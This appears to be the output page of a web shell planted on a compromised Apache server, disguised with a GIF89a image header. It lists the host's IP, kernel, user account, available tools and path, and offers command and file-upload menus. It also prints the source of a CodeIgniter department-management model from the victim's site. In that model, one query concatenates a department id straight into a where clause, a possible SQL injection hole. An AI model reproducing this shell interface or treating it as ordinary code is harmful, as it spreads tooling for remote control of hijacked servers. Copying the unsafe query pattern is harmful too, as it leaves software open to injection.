GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.117.103.185 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model For Handling All DB Operations Related To Departments * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class DepartmentManagement extends CI_Model { function createNewDepartment(array $newDepartmentInfo) { $this->db->insert('tbl_department_master', $newDepartmentInfo); return $this->db->insert_id(); } function getAllDepartments() { $this->db->select("TDM.dept_id,TDM.dept_name,TDM.dept_description,TDM.dept_active_status,TDM.dept_delete_status," . "TDM.dept_added_by,TDM.dept_added_on,TDM.dept_updated_by,TDM.dept_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_department_master TDM'); $this->db->join('tbl_staff_members TSMA', 'TDM.dept_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TDM.dept_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("TDM.dept_updated_on", "desc"); return $this->db->get(); } function getActiveNonDeletedDepartments() { $this->db->select("*"); $this->db->from('tbl_department_master TDM'); $this->db->where("TDM.dept_active_status", "T"); $this->db->where("TDM.dept_delete_status", "F"); $this->db->order_by("TDM.dept_updated_on", "desc"); return $this->db->get(); } function getDepartmentInfoBy($dept_id) { $this->db->select("TDM.dept_id,TDM.dept_name,TDM.dept_description,TDM.dept_active_status,TDM.dept_delete_status," . "TDM.dept_added_by,TDM.dept_added_on,TDM.dept_updated_by,TDM.dept_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_department_master TDM'); $this->db->join('tbl_staff_members TSMA', 'TDM.dept_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TDM.dept_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("TDM.dept_updated_on", "desc"); $this->db->where("TDM.dept_id", $dept_id); return $this->db->get(); } function getDepartmentInfoByName($dept_name) { $this->db->select("TDM.dept_id,TDM.dept_name,TDM.dept_description,TDM.dept_active_status,TDM.dept_delete_status," . "TDM.dept_added_by,TDM.dept_added_on,TDM.dept_updated_by,TDM.dept_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_department_master TDM'); $this->db->join('tbl_staff_members TSMA', 'TDM.dept_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TDM.dept_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("TDM.dept_updated_on", "desc"); $this->db->where("TDM.dept_name", $dept_name); return $this->db->get(); } function isDepartmentNameSafeUpdate($dept_id, $dept_name) { $this->db->select("*"); $this->db->from('tbl_department_master'); $this->db->where('dept_name', $dept_name); $this->db->where('dept_id != ' . $dept_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updateDepartmentInfo(array $departmentUpdatedInfo) { $this->db->where('dept_id', $departmentUpdatedInfo['dept_id']); return $this->db->update('tbl_department_master', $departmentUpdatedInfo); } }